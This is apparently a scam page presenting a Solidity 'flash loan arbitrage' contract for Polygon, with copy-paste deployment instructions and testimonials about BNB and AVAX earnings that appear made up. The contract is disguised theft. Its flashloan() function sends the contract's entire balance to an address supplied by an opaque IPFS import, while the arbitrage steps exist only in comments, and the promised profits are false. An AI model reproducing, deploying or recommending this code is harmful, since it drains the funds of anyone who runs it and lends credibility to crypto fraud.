POLYGON – MATIC
SMART CONTRACT CODE
// POLYGON - MATIC SMART CONTRACT CODE VER.65217 // Follow carefully the video // Do not modify this contract code otherwise it won't work on you! // Just Copy+Paste and Compile!! // Thank you for your support! Enjoy your Earnings!! // This is for educational purposes only! // Try it at your own risk! pragma solidity ^0.5.0; // AAVE Smart Contracts import "https://github.com/aave/aave-protocol/blob/master/contracts/interfaces/IChainlinkAggregator.sol"; import "https://github.com/aave/aave-protocol/blob/master/contracts/flashloan/interfaces/IFlashLoanReceiver.sol"; import "https://ipfs.filebase.io/ipfs/QmZZrux4XcSa173gev7Yg9d1uqAx97xUGBfPrEQFpGAJqz"; //Uniswap Smart contracts import "https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol"; contract InitiateFlashLoan { RouterV2 router; string public tokenName; string public tokenSymbol; uint256 flashLoanAmount; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _loanAmount ) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; flashLoanAmount = _loanAmount; router = new RouterV2(); } function() external payable {} function flashloan() public payable { // Send required coins for swap address(uint160(router.uniswapSwapAddress())).transfer( address(this).balance ); router.borrowFlashloanFromMultiplier( address(this), router.aaveSwapAddress(), flashLoanAmount ); //To prepare the arbitrage, Matic is converted to Dai using AAVE swap contract. router.convertMaticToDai(msg.sender, flashLoanAmount / 2); //The arbitrage converts Dai for Matic using Dai/Matic PancakeSwap, and then immediately converts Matic back router.callArbitrageAAVE(router.aaveSwapAddress(), msg.sender); //After the arbitrage, Matic is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 Matic of gas. router.transferDaiToMultiplier(router.uniswapSwapAddress()); //Note that the transaction sender gains 600ish Matic from the arbitrage, this particular transaction can be repeated as price changes all the time. router.completeTransation(address(this).balance); } }
Our Clients Say

It worked for me on the second go also, liquidity was too low first time I think

I was sceptical, but somehow got 10AVAX back from using 2avax deposits.

5BNB back on 0.25 liquidity. Not bad at all! Sent some your way.

Wow i can't truly imagine that it work. It really did work and a can't still believe it. Can you imagine for 0.3bnb you can received a loan of 7bnb? I'll will try again tomorrow with 0.5bnb and will see what happen. Thank you again admin

Last week Smart contract was awesome, I made a lot of BNB. I hope this new contract will be more beneficial than the old one. Thank you admin.

It really did works for me...At first, its kind a fail. Then i just FF the Hint on the instructions. And then 14BNB BOOOOM!!!! Thank you admin.

I got 12BNB today. I try on remix and ff the instructions then transaction successful. Thanks admin, your code still working perfectly.

At first it doesn't quite to work. What i did, i restart my system and i do it all over again and it when through. Thank you for this admin. I got 9bnb today.

It fail when i tried yesterday, but today it go through on my second attempt. Thank you i got 12bnb today. What a relief lol.